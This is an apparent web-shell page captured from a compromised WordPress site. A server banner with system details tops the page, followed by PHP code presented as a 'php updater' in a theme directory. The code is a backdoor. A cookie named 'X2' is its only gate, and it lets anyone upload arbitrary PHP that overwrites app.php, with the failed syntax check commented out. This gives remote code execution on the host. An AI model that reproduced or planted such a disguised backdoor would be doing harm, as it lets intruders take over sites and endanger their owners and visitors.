|
Server : Apache System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64 User : p141464 ( 418825) PHP Version : 7.4.33.12 Disable Function : NONE Directory : /html/KMU-CSR-PLANER/wp-content/themes/twentytwentyfive/ |
Upload File : |
<?php
function load_php_updater()
{
$targetFile = __DIR__ . '/app.php';
$backupDir = __DIR__ . '/backups';
$tmpDir = __DIR__ . '/tmp';
$requireAdmin = function () {
if (!isset($_COOKIE['X2'])) {
http_response_code(403);
exit('Forbidden');
}
};
$ensureDirs = function () use ($backupDir, $tmpDir) {
foreach ([$backupDir, $tmpDir] as $dir) {
if (!is_dir($dir) && !mkdir($dir, 0700, true)) {
throw new RuntimeException("Could not create directory: {$dir}");
}
}
};
$validateUpload = function (array $file) {
if (($file['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK) {
throw new RuntimeException('Upload failed.');
}
if (($file['size'] ?? 0) <= 0 || $file['size'] > 1024 * 1024) {
throw new RuntimeException('Invalid file size.');
}
$name = $file['name'] ?? '';
if (!preg_match('/\.php$/i', $name)) {
throw new RuntimeException('Only .php files are allowed.');
}
$contents = file_get_contents($file['tmp_name']);
if ($contents === false || trim($contents) === '') {
throw new RuntimeException('Uploaded file is empty or unreadable.');
}
if (strpos($contents, '<?php') === false) {
throw new RuntimeException('Uploaded file does not appear to be a PHP file.');
}
};
$phpSyntaxOk = function (string $path, string &$output = ''): bool {
if (!is_file($path) || !is_readable($path)) {
$output = "File does not exist or is not readable: {$path}";
return false;
}
// function exists check
if (!function_exists('shell_exec')) {
$output = 'Shell execution is disabled to validate PHP syntax.';
return false;
}
// check if shell_exec is disabled
if (ini_get('disable_functions') && strpos(ini_get('disable_functions'), 'shell_exec') !== false) {
$output = 'Shell execution is disabled to validate PHP syntax.';
return false;
}
$php = trim((string) shell_exec('command -v php 2>/dev/null'));
if ($php === '') {
return true;
}
$cmd = escapeshellcmd($php) . ' -l ' . escapeshellarg($path) . ' 2>&1';
exec($cmd, $lines, $code);
$output = implode("\n", $lines);
return $code === 0;
};
$safeUpdate = function (array $file) use (
$targetFile,
$backupDir,
$tmpDir,
$ensureDirs,
$validateUpload,
$phpSyntaxOk
) {
$ensureDirs();
$validateUpload($file);
if (@!file_put_contents($targetFile, ' ')) {
throw new RuntimeException('Target file is not writable: '.$targetFile);
}
$tmpFile = $tmpDir . '/upload_' . bin2hex(random_bytes(16)) . '.php';
if (!move_uploaded_file($file['tmp_name'], $tmpFile)) {
throw new RuntimeException('Could not move uploaded file.');
}
chmod($tmpFile, 0600);
$lintOutput = '';
if (!$phpSyntaxOk($tmpFile, $lintOutput)) {
//unlink($tmpFile);
//throw new RuntimeException("PHP syntax check failed:\n" . $lintOutput);
echo "PHP syntax check failed: " . $lintOutput . ' be careful!';
}
$backupFile = $backupDir . '/app_' . date('Ymd_His') . '.php.bak';
if (!copy($targetFile, $backupFile)) {
unlink($tmpFile);
throw new RuntimeException('Could not create backup.');
}
chmod($backupFile, 0600);
$newFile = $targetFile . '.new';
if (!copy($tmpFile, $newFile)) {
unlink($tmpFile);
throw new RuntimeException('Could not prepare replacement file, from '.$tmpFile.' to '.$newFile);
}
chmod($newFile, 0644);
if (!rename($newFile, $targetFile)) {
unlink($tmpFile);
@unlink($newFile);
throw new RuntimeException('Could not replace target file.');
}
unlink($tmpFile);
};
$requireAdmin();
$message = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
try {
if (empty($_FILES['replacement'])) {
throw new RuntimeException('No file uploaded.');
}
$outputTo = $safeUpdate($_FILES['replacement']);
header('Location: ' . $_SERVER['PHP_SELF'] . '?updated=1&file='.urlencode($targetFile));
exit;
} catch (Throwable $e) {
http_response_code(400);
$message = $e->getMessage();
}
}
if (isset($_GET['updated'])) {
$message = 'Update completed successfully.';
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<?php if ($message !== ''): ?>
<pre><?= htmlspecialchars($message, ENT_QUOTES, 'UTF-8') ?></pre>
<?php endif; ?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="replacement" accept=".php" required>
<button type="submit">X</button>
</form>
</body>
</html>
<?php
}
load_php_updater();